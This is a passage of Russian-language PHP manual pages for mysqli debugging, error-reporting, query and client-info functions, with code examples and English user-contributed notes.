Объектно-ориентированный стиль

public mysqli::debug(string $options): true

Процедурный стиль

mysqli_debug(string $options): true

Выполняет процедуры отладки, используя библиотеку Fred Fish.

Список параметров

options

Строка, содержащая выполняемую процедуру отладки

Строка управления отладкой — это последовательность полей, разделённых двоеточиями, как показано ниже:

<field_1>:<field_2>:<field_N>
Каждое поле состоит из обязательного символа флага, за которым следует необязательный символ , и список модификаторов, разделённый запятыми: flag[,modifier,modifier,...,modifier]

Допустимые символы флагов
Символ options | Описание
O | MYSQLND_DEBUG_FLUSH
A/a | MYSQLND_DEBUG_APPEND
F | MYSQLND_DEBUG_DUMP_FILE
i | MYSQLND_DEBUG_DUMP_PID
L | MYSQLND_DEBUG_DUMP_LINE
m | MYSQLND_DEBUG_TRACE_MEMORY_CALLS
n | MYSQLND_DEBUG_DUMP_LEVEL
o | вывод в файл
T | MYSQLND_DEBUG_DUMP_TIME
t | MYSQLND_DEBUG_DUMP_TRACE
x | MYSQLND_DEBUG_PROFILE_CALLS

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Функция теперь возвращает значение true. Ранее она возвращала значение false в случае возникновения ошибки.

Примеры

Пример #1 Генерация файла трассировки

<?php

/* Создать файл трассировки в '/tmp/client.trace' на локальной машине (клиенте): */
mysqli_debug("d:t:o,/tmp/client.trace");

?>

Примечания

Замечание:

Чтобы функция mysqli_debug() была доступна, необходимо скомпилировать клиентскую библиотеку MySQL с поддержкой отладки.

Смотрите также

  • mysqli_dump_debug_info() - Журналирование отладочной информации
  • mysqli_report() - Псевдоним mysqli_driver->report_mode

User Contributed Notes

Domenic 14-May-2018 10:17
Looks like this manual could be referred to:

http://tiebing.blogspot.com.au/2011/10/cc-dbug-library.html

(I haven't tested it)
riversnowchang at gmail dot com 03-Jan-2018 02:42
Here are the information about debug options on mysqli_debug()

O,o:MYSQLND_DEBUG_FLUSH
A,a:MYSQLND_DEBUG_APPEND
F:MYSQLND_DEBUG_DUMP_FILE
L:MYSQLND_DEBUG_DUMP_LINE
m:MYSQLND_DEBUG_TRACE_MEMORY_CALLS
n:MYSQLND_DEBUG_DUMP_LEVEL
o:output to file
T:MYSQLND_DEBUG_DUMP_TIME
t:MYSQLND_DEBUG_DUMP_TRACE
x:MYSQLND_DEBUG_PROFILE_CALLS
f:? still investigating

For example, mysqli_debug("T:n:t:m:x:F:L:o,/tmp/client.trace");
mysqlnd will write Time, Level, trace, memory calls, profile calls, File, Line to client.trace file.

22:35:42.704501 ../mysqlnd_connection.c:  269   0:>mysqlnd_connection_init
22:35:42.704538 ../mysqlnd_driver.c:   10   1:| >mysqlnd_driver::get_connection
22:35:42.704549 ../mysqlnd_driver.c:   10   2:| | info : persistent=1
22:35:42.704558 ../mysqlnd_alloc.c:   21   2:| | >_mysqlnd_pecalloc
22:35:42.704570 ../mysqlnd_alloc.c:   23   2:| | <_mysqlnd_pecalloc (total=3 own=3 in_calls=0)
22:35:42.704602 ../mysqlnd_alloc.c:   21   2:| | >_mysqlnd_pecalloc
22:35:42.704626 ../mysqlnd_alloc.c:   23   2:| | <_mysqlnd_pecalloc (total=2 own=2 in_calls=0)
22:35:42.704650 ../mysqlnd_connection.c:   15   2:| | >mysqlnd_error_info_init
22:35:42.704675 ../mysqlnd_connection.c:   10   3:| | | >mysqlnd_error_info::reset
22:35:42.704697 ../mysqlnd_connection.c:   10   3:| | | <mysqlnd_error_info::reset (total=1 own=1 in_calls=0)
22:35:42.704725 ../mysqlnd_connection.c:   16   2:| | <mysqlnd_error_info_init (total=51 own=50 in_calls=1)
22:35:42.704744 ../mysqlnd_connection.c:   21   2:| | >mysqlnd_connection_state_init

If there is anything wrong, please let me know.
Peter 10-May-2014 10:59
can there be more documenation with a small (but working) example script on how to use this ?

Some issues  (Ive seen the "same" code example in dozens of tutorials):-

( I'll use capitals for emphasis only)

QUESTION: what does D:T:O mean ? UNEXPLAINED.

QUESTION: Do we *ONLY* use these 3 lines in a self-contained script ? Does this log ALL future MYSQL commands ?

QUESTION :- Do we put that one line just

- immediately after we connect to MYSQL ?
- before we connect to MYSQL ?
- before our suspected error ?


Журналирование отладочной информации

  • « mysqli::debug
  • mysqli::$errno »
  • PHP Manual
  • mysqli
  • Журналирование отладочной информации

mysqli::dump_debug_info

mysqli_dump_debug_info

(PHP 5, PHP 7, PHP 8)

mysqli::dump_debug_info -- mysqli_dump_debug_info — Журналирование отладочной информации

Описание

Объектно-ориентированный стиль

public mysqli::dump_debug_info(): bool

Процедурный стиль

mysqli_dump_debug_info(mysqli $mysql): bool

Функция разработана для запуска от имени пользователя с привилегиями SUPER и используется для сборки отладочной информации в журнал сервера MySQL, к которому произведено подключение.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mysqli_debug() - Выполняет процедуры отладки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки последнего вызова функции

  • « mysqli::dump_debug_info
  • mysqli::$error_list »
  • PHP Manual
  • mysqli
  • Возвращает код ошибки последнего вызова функции

mysqli::$errno

mysqli_errno

(PHP 5, PHP 7, PHP 8)

mysqli::$errno -- mysqli_errno — Возвращает код ошибки последнего вызова функции

Описание

Объектно-ориентированный стиль

int $mysqli->errno;

Процедурный стиль

mysqli_errno(mysqli $mysql): int

Возвращает код ошибки последнего вызова функции MySQLi, завершившейся успешным выполнением или ошибкой.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Код ошибки последнего вызова функции в случае провала. При отсутствие ошибок выводит 0.

Примеры

Пример #1 Пример использования $mysqli->errno

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if ($mysqli->connect_errno) {
printf("Соединение не удалось: %s\n", $mysqli->connect_error);
exit();
}

if (!$mysqli->query("SET a=1")) {
printf("Код ошибки: %d\n", $mysqli->errno);
}

/* Закрыть соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Соединение не удалось: %s\n", mysqli_connect_error());
exit();
}

if (!mysqli_query($link, "SET a=1")) {
printf("Код ошибки: %d\n", mysqli_errno($link));
}

/* Закрыть соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Код ошибки: 1193

Смотрите также

  • mysqli_connect_errno() - Возвращает код ошибки последней попытки соединения
  • mysqli_connect_error() - Возвращает описание последней ошибки подключения
  • mysqli_error() - Возвращает строку с описанием последней ошибки
  • mysqli_sqlstate() - Возвращает код состояния SQLSTATE последней MySQL операции

User Contributed Notes

erwin at transpontine dot com 28-Jun-2013 05:31
You can also find the error codes for for example MySQL 5.5 here: http://dev.mysql.com/doc/refman/5.5/en/error-handling.html


Возвращает список ошибок выполнения последней запущенной команды

  • « mysqli::$errno
  • mysqli::$error »
  • PHP Manual
  • mysqli
  • Возвращает список ошибок выполнения последней запущенной команды

mysqli::$error_list

mysqli_error_list

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

mysqli::$error_list -- mysqli_error_list — Возвращает список ошибок выполнения последней запущенной команды

Описание

Объектно-ориентированный стиль

array $mysqli->error_list;

Процедурный стиль

mysqli_error_list(mysqli $mysql): array

Возвращает массив ошибок последнего вызова функции MySQLi, которая может завершать работу успехом или неудачей.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Список ошибок, каждая из которых представлена ассоциативным массивом (array) и содержит номер ошибки, её описание, а также код состояния sqlstate.

Примеры

Пример #1 Пример использования $mysqli->error_list

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "nobody", "");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

if (!$mysqli->query("SET a=1")) {
print_r($mysqli->error_list);
}

/* закрываем соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

if (!mysqli_query($link, "SET a=1")) {
print_r(mysqli_error_list($link));
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Array
(
    [0] => Array
        (
            [errno] => 1193
            [sqlstate] => HY000
            [error] => Unknown system variable 'a'
        )

)

Смотрите также

  • mysqli_connect_errno() - Возвращает код ошибки последней попытки соединения
  • mysqli_connect_error() - Возвращает описание последней ошибки подключения
  • mysqli_error() - Возвращает строку с описанием последней ошибки
  • mysqli_sqlstate() - Возвращает код состояния SQLSTATE последней MySQL операции

User Contributed Notes

Anonymous 09-Jan-2020 12:54
Beware, that this may also return false instead of [].


Возвращает строку с описанием последней ошибки

  • « mysqli::$error_list
  • mysqli::execute_query »
  • PHP Manual
  • mysqli
  • Возвращает строку с описанием последней ошибки

mysqli::$error

mysqli_error

(PHP 5, PHP 7, PHP 8)

mysqli::$error -- mysqli_error — Возвращает строку с описанием последней ошибки

Описание

Объектно-ориентированный стиль

string $mysqli->error;

Процедурный стиль

mysqli_error(mysqli $mysql): string

Возвращает сообщение об ошибке последнего вызова функции MySQLi, который может успешно выполниться или провалиться.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Строка с описанием ошибки. Пустая строка, если ошибки нет.

Примеры

Пример #1 Пример с $mysqli->error

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if ($mysqli->connect_errno) {
printf("Соединение не удалось: %s\n", $mysqli->connect_error);
exit();
}

if (!$mysqli->query("SET a=1")) {
printf("Сообщение ошибки: %s\n", $mysqli->error);
}

/* Закрыть соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Соединение не удалось: %s\n", mysqli_connect_error());
exit();
}

if (!mysqli_query($link, "SET a=1")) {
printf("Сообщение ошибки: %s\n", mysqli_error($link));
}

/* Закрыть соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Сообщение ошибки: Unknown system variable 'a'

Смотрите также

  • mysqli_connect_errno() - Возвращает код ошибки последней попытки соединения
  • mysqli_connect_error() - Возвращает описание последней ошибки подключения
  • mysqli_errno() - Возвращает код ошибки последнего вызова функции
  • mysqli_sqlstate() - Возвращает код состояния SQLSTATE последней MySQL операции

User Contributed Notes

abderrahmanekaddour dot aissat at gmail dot com 28-Aug-2022 09:33
<?php

// The idea is the add formated errors information for developers to easier bugs detection.

$myfile = fopen("database_log.log", "r");
$db = new mysqli("localhost", "root","root","data");
if(!$db->query("SELECT")){
  $timestamp = new DateTime();
  $data_err = " {
     \"title\": \" Select statement error \",
     \"date_time\": ".$timestamp->getTimestamp().",
     \"error\":\" ".$db->error." \"
     } "; // Do more information
  fwrite($myfile, $data_err); // writing data
}
    // In separate file do file read and format it for good visual.

$db->close();
fclose($myfile);
?>
Anonymous 12-Nov-2019 07:19
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
try {
                $this->connection = mysqli_connect($hostname,$username,$password, $dbname);
} catch (Exception $e) {
                echo "Errno: " . mysqli_connect_errno() . PHP_EOL;
                echo "Text error: " . mysqli_connect_error() . PHP_EOL;
                exit;
}
callforeach at gmail dot com 10-Mar-2015 01:39
I had to set mysqli_report(MYSQLI_REPORT_ALL) at the begin of my script to be able to catch mysqli errors within the catch block of my php code.

Initially, I used the below code to throw and subsequent catch mysqli exceptions

<?php
try {
   $mysqli = new mysqli('localhost','root','pwd','db');
    if ($mysqli->connect_errno)
        throw new Exception($mysqli->connect_error);

} catch (Exception $e) {
     echo $e->getMessage();
}

I realized the exception was being thrown before the actual throw statement and hence the catch block was not being called.

My current code looks like
mysqli_report(MYSQLI_REPORT_ALL) ;
try {
      $mysqli = new mysqli('localhost','root','pwd','db');
      /* I don't need to throw the exception, it's being thrown automatically */

} catch (Exception $e) {
  echo $e->getMessage();
}

This works fine and I'm able to trap all mysqli errors
asmith16 at littlesvr dot ca 01-Nov-2013 11:42
Please note that the string returned may contain data initially provided by the user, possibly making your code vulnerable to XSS.

So even if you escape everything in your SQL query using mysqli_real_escape_string(), make sure that if you plan to display the string returned by mysqli_error() you run that string through htmlspecialchars().

As far as I can tell the two escape functions don't escape the same characters, which is why you need both (the first for SQL and the second for HTML/JS).
se (at) brainbits (dot) net 20-Apr-2006 05:22
The decription "mysqli_error -- Returns a string description of the LAST error" is not exactly that what you get from mysqli_error. You get the error description from the last mysqli-function, not from the last mysql-error.

If you have the following situation

if (!$mysqli->query("SET a=1")) {
   $mysqli->query("ROLLBACK;")
   printf("Errormessage: %s\n", $mysqli->error);
}

you don't get an error-message, if the ROLLBACK-Query didn't failed, too. In order to get the right error-message you have to write:

if (!$mysqli->query("SET a=1")) {
   printf("Errormessage: %s\n", $mysqli->error);
   $mysqli->query("ROLLBACK;")
}
information at saunderswebsolutions dot com 24-Jan-2006 02:37
The mysqli_sql_exception class is not available to PHP 5.05

I used this code to catch errors
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$res) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>
The problem with this is that valid values for $res are: a mysqli_result object , true or false
This doesn't tell us that there has been an error with the sql used.
If you pass an update statement, false is a valid result if the update fails.

So, a better way is:
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$mysqli->error) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>

This would output something like:
Unexpected PHP error [mysqli::query() [<a href='function.query'>function.query</a>]: (42S22/1054): Unknown column 'XXname' in 'field list'] severity [E_WARNING] in [G:\database.php] line [249]

Very frustrating as I wanted to also catch the sql error and print out the stack trace.

A better way is:

<?php
mysqli_report(MYSQLI_REPORT_OFF); //Turn off irritating default messages

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if ($mysqli->error) {
    try {
        throw new Exception("MySQL error $mysqli->error <br> Query:<br> $query", $msqli->errno);
    } catch(Exception $e ) {
        echo "Error No: ".$e->getCode(). " - ". $e->getMessage() . "<br >";
        echo nl2br($e->getTraceAsString());
    }
}

//Do stuff with the result
?>
Prints out something like:
Error No: 1054
Unknown column 'XXname' in 'field list'
Query:
SELECT XXname FROM customer_table

#0 G:\\database.php(251): database->dbError('Unknown column ...', 1054, 'getQuery()', 'SELECT XXname F...')
#1 G:\data\WorkSites\1framework5\tests\dbtest.php(29): database->getString('SELECT XXname F...')
#2 c:\PHP\includes\simpletest\runner.php(58): testOfDB->testGetVal()
#3 c:\PHP\includes\simpletest\runner.php(96): SimpleInvoker->invoke('testGetVal')
#4 c:\PHP\includes\simpletest\runner.php(125): SimpleInvokerDecorator->invoke('testGetVal')
#5 c:\PHP\includes\simpletest\runner.php(183): SimpleErrorTrappingInvoker->invoke('testGetVal')
#6 c:\PHP\includes\simpletest\simple_test.php(90): SimpleRunner->run()
#7 c:\PHP\includes\simpletest\simple_test.php(498): SimpleTestCase->run(Object(HtmlReporter))
#8 c:\PHP\includes\simpletest\simple_test.php(500): GroupTest->run(Object(HtmlReporter))
#9 G:\all_tests.php(16): GroupTest->run(Object(HtmlReporter))

This will actually print out the error, a stack trace and the offending sql statement. Much more helpful when the sql statement is generated somewhere else in the code.
information at saunderswebsolutions dot com 13-Jan-2006 02:52
Hi, you can also use the new mysqli_sql_exception to catch sql errors.
Example:
<?php
//set up $mysqli_instance here..
$Select = "SELECT xyz FROM mytable ";
try {
    $res = $mysqli_instance->query($Select);
}catch (mysqli_sql_exception $e) {
    print "Error Code <br>".$e->getCode();
    print "Error Message <br>".$e->getMessage();
    print "Strack Trace <br>".nl2br($e->getTraceAsString());
}

?>
Will print out something like
Error Code: 0
Error Message
No index used in query/prepared statement select sess_value from frame_sessions where sess_name = '5b85upjqkitjsostvs6g9rkul1'
Strack Trace:
#0 G:\classfiles\lib5\database.php(214): mysqli->query('select sess_val...')
#1 G:\classfiles\lib5\Session.php(52): database->getString('select sess_val...')
#2 [internal function]: sess_read('5b85upjqkitjsos...')
#3 G:\classfiles\includes.php(50): session_start()
#4 G:\tests\all_tests.php(4): include('G:\data\WorkSit...')
#5 {main}


Подготавливает, связывает параметры и выполняет SQL-запрос

  • « mysqli::$error
  • mysqli::$field_count »
  • PHP Manual
  • mysqli
  • Подготавливает, связывает параметры и выполняет SQL-запрос

mysqli::execute_query

mysqli_execute_query

(PHP 8 >= 8.2.0)

mysqli::execute_query -- mysqli_execute_query — Подготавливает, связывает параметры и выполняет SQL-запрос

Описание

Объектно-ориентированный стиль

public mysqli::execute_query(string $query, ?array $params = null): mysqli_result|bool

Процедурный стиль

mysqli_execute_query(mysqli $mysql, string $query, ?array $params = null): mysqli_result|bool

Подготавливает SQL-запрос, связывает параметры и выполняет его.
Метод mysqli::execute_query() является сокращением для
mysqli::prepare(),
mysqli_stmt::bind_param(),
mysqli_stmt::execute()
и mysqli_stmt::get_result().

У шаблона запроса может быть ноль или более маркеров параметров со знаком вопроса (?), которые также называются заполнителями. Значения параметров должны быть представлены в виде массива (array), переданного в параметр params.

Подготовленный запрос создаётся под капотом, но он никогда не выводится за пределы функции. Невозможно получить доступ к свойствам запроса, как это можно сделать с объектом mysqli_stmt. Из-за этого ограничения информация о состоянии копируется в объект mysqli и доступна с помощью его методов, например, mysqli_affected_rows() или mysqli_error().

Замечание:

В случае, когда функции mysqli_execute_query() передаётся запрос, длина которого превышает max_allowed_packet сервера, возвращаемые коды ошибок различаются в зависимости от операционной системы. Поведение следующее:

  • В Linux возвращается код ошибки 1153. Сообщение об ошибке означает, что получен пакет размером более max_allowed_packet (got a packet bigger than max_allowed_packet bytes).

  • В Windows возвращается код ошибки 2006. Сообщение об ошибке означает, что сервер недоступен (server has gone away).

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

query

Запрос в виде строки. Он должен состоять из одного SQL-запроса.

SQL-запрос может содержать ноль или более маркеров параметров, представленных символами вопросительного знака (?) в соответствующих позициях.

Замечание:

Эти метки можно встраивать только в определённые места в выражении. Например, они разрешены в списке VALUES() выражения INSERT (чтобы задать значения столбцов для строки), или в операциях сравнения предложения WHERE для задания сравниваемого значения. Однако они не разрешены в качестве идентификаторов (таких как имена таблиц или столбцов).

params

Необязательный список в виде массива (array) с таким количеством элементов, сколько связанных параметров в выполняемом SQL-запросе. Каждое значение рассматривается как строка (string).

Возвращаемые значения

Возвращает false в случае возникновения ошибки. Для успешных запросов, создающих набор результатов, таких как SELECT, SHOW, DESCRIBE или EXPLAIN, возвращает объект mysqli_result. Для других успешных запросов возвращается true.

Примеры

Пример #1 Пример использования mysqli::execute_query()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$query = 'SELECT Name, District FROM City WHERE CountryCode=? ORDER BY Name LIMIT 5';
$result = $mysqli->execute_query($query, ['DEU']);
foreach ($result as $row) {
printf("%s (%s)\n", $row["Name"], $row["District"]);
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = 'SELECT Name, District FROM City WHERE CountryCode=? ORDER BY Name LIMIT 5';
$result = mysqli_execute_query($link, $query, ['DEU']);
foreach ($result as $row) {
printf("%s (%s)\n", $row["Name"], $row["District"]);
}

Результатом выполнения данных примеров будет что-то подобное:

Aachen (Nordrhein-Westfalen)
Augsburg (Baijeri)
Bergisch Gladbach (Nordrhein-Westfalen)
Berlin (Berliini)
Bielefeld (Nordrhein-Westfalen)

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_execute() - Выполняет подготовленное утверждение
  • mysqli_stmt_bind_param() - Привязка переменных к параметрам подготавливаемого запроса
  • mysqli_stmt_get_result() - Получает результат из подготовленного запроса в виде объекта mysqli_result

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число столбцов, затронутых последним запросом

  • « mysqli::execute_query
  • mysqli::get_charset »
  • PHP Manual
  • mysqli
  • Возвращает число столбцов, затронутых последним запросом

mysqli::$field_count

mysqli_field_count

(PHP 5, PHP 7, PHP 8)

mysqli::$field_count -- mysqli_field_count — Возвращает число столбцов, затронутых последним запросом

Описание

Объектно-ориентированный стиль

int $mysqli->field_count;

Процедурный стиль

mysqli_field_count(mysqli $mysql): int

Возвращает число столбцов, затронутых последним запросом для соединения, указанного в mysql. Эта функция может быть полезной при использовании mysqli_store_result() для того, чтобы определить выдан ли непустой результат, или в случае неизвестного назначения запроса.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Целое число, содержащее число полей в результате запроса.

Примеры

Пример #1 Пример использования $mysqli->field_count

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query( "DROP TABLE IF EXISTS friends");
$mysqli->query( "CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query( "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$mysqli->real_query("SELECT * FROM friends");

if ($mysqli->field_count) {
/* Определить тип запроса (select/show или describe) */
$result = $mysqli->store_result();

/* Создать выборку */
$row = $result->fetch_row();

/* Очистить выборку */
$result->close();
}

/* Закрыть соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

mysqli_real_query($link, "SELECT * FROM friends");

if (mysqli_field_count($link)) {
/* Определить тип запроса (select/show или describe) */
$result = mysqli_store_result($link);

/* Создать выборку */
$row = mysqli_fetch_row($result);

/* Очистить выборку */
mysqli_free_result($result);
}

/* Закрыть соединение */
mysqli_close($link);
?>

User Contributed Notes

dedlfix 18-Jul-2006 10:26
There are MYSQLI_TYPE_* constants for the type property (listed in http://php.net/manual/en/ref.mysqli.php).

e.g.
<?php
if ($finfo->type == MYSQLI_TYPE_VAR_STRING)
  // a VARCHAR


Возвращает объект, описывающий кодировку

  • « mysqli::$field_count
  • mysqli::$client_info »
  • PHP Manual
  • mysqli
  • Возвращает объект, описывающий кодировку

mysqli::get_charset

mysqli_get_charset

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

mysqli::get_charset -- mysqli_get_charset — Возвращает объект, описывающий кодировку

Описание

Объектно-ориентированный стиль

public mysqli::get_charset(): ?object

Процедурный стиль

mysqli_get_charset(mysqli $mysql): ?object

Возвращает объект, содержащий свойства текущей кодировки.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Функция возвращает объект с следующими свойствами:

charset

Имя кодировки

collation

Имя сопоставления

dir

Директория, из которой получено описание кодировки. (?) или "" для встроенных наборов

min_length

Минимальная длина символа в байтах

max_length

Максимальная длина символа в байтах

number

Внутренний номер кодировки

state

Состояние набора символов (?)

Примеры

Пример #1 Пример использования mysqli::get_charset()

Объектно-ориентированный стиль

<?php
$db = mysqli_init();
$db->real_connect("localhost","root","","test");
var_dump($db->get_charset());
?>

Процедурный стиль

<?php
$db = mysqli_init();
mysqli_real_connect($db, "localhost","root","","test");
var_dump(mysqli_get_charset($db));
?>

Результат выполнения данных примеров:

object(stdClass)#2 (7) {
  ["charset"]=>
  string(6) "latin1"
  ["collation"]=>
  string(17) "latin1_swedish_ci"
  ["dir"]=>
  string(0) ""
  ["min_length"]=>
  int(1)
  ["max_length"]=>
  int(1)
  ["number"]=>
  int(8)
  ["state"]=>
  int(801)
}

Смотрите также

  • mysqli_character_set_name() - Возвращает текущую кодировку, установленную для соединения с БД
  • mysqli_set_charset() - Задаёт набор символов

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о клиенте MySQL

  • « mysqli::get_charset
  • mysqli::$client_version »
  • PHP Manual
  • mysqli
  • Получает информацию о клиенте MySQL

mysqli::$client_info

mysqli::get_client_info

mysqli_get_client_info

(PHP 5, PHP 7, PHP 8)

mysqli::$client_info -- mysqli::get_client_info -- mysqli_get_client_info — Получает информацию о клиенте MySQL

Описание

Объектно-ориентированный стиль

string $mysqli->client_info;
public mysqli::get_client_info(): string

Процедурный стиль

mysqli_get_client_info(?mysqli $mysql = null): string

Возвращает строку, содержащую версию клиентской библиотеки MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка, содержащая версию клиентской библиотеки MySQL.

Список изменений

Версия | Описание
8.1.0 | Вызов функции mysqli_get_client_info() с аргументом mysql устарел. Функция никогда не требовала параметра, но неправильно позволяла его в качестве необязательного параметра.
8.1.0 | Объектно-ориентированный стиль вызова метода mysqli::get_client_info() устарел.

Примеры

Пример #1 mysqli_get_client_info

<?php

/* Для определения версии клиентской библиотеки MySQL
нет необходимости в создании соединения */

printf("Версия клиентской библиотеки: %s\n", mysqli_get_client_info());
?>

Смотрите также

  • mysqli_get_client_version() - Возвращает информацию о клиенте MySQL в виде строки
  • mysqli_get_server_info() - Возвращает версию MySQL сервера
  • mysqli_get_server_version() - Возвращает версию сервера MySQL, представленную в виде integer

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о клиенте MySQL в виде строки

  • « mysqli::$client_info
  • mysqli::get_connection_stats »
  • PHP Manual
  • mysqli
  • Возвращает информацию о клиенте MySQL в виде строки

mysqli::$client_version

mysqli_get_client_version

(PHP 5, PHP 7, PHP 8)

mysqli::$client_version -- mysqli_get_client_version — Возвращает информацию о клиенте MySQL в виде строки

Описание

Объектно-ориентированный стиль

int $mysqli->client_version;

Процедурный стиль

mysqli_get_client_version(): int

Возвращает версию клиента в виде целого числа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Число, содержащее версию клиентской библиотеки MySQL в следующем формате: main_version*10000 + minor_version *100 + sub_version. К примеру, для версии 4.1.0 выведет 40100.

Целесообразно использовать для быстрого определения версии клиентской библиотеки и возможностей её применения.

Примеры

Пример #1 mysqli_get_client_version

<?php

/* Для определения версии клиентской библиотеки MySQL
нет необходимости в создании соединения*/

printf("Версия клиентской библиотеки: %d\n", mysqli_get_client_version());
?>

Смотрите также

  • mysqli_get_client_info() - Получает информацию о клиенте MySQL
  • mysqli_get_server_info() - Возвращает версию MySQL сервера
  • mysqli_get_server_version() - Возвращает версию сервера MySQL, представленную в виде integer

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статистику соединения с клиентом

  • « mysqli::$client_version
  • mysqli::$host_info »
  • PHP Manual
  • mysqli
  • Возвращает статистику соединения с клиентом

mysqli::get_connection_stats

mysqli_get_connection_stats

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::get_connection_stats -- mysqli_get_connection_stats — Возвращает статистику соединения с клиентом

Описание

Объектно-ориентированный стиль

public mysqli::get_connection_stats(): array

Процедурный стиль

mysqli_get_connection_stats(mysqli $mysql): array

Возвращает статистику соединения с клиентом.

Замечание:

Доступно только с модулем mysqlnd.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает массив статистики соединения.

Примеры

Пример #1 Пример использования mysqli_get_connection_stats()

<?php
$link = mysqli_connect();
print_r(mysqli_get_connection_stats($link));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
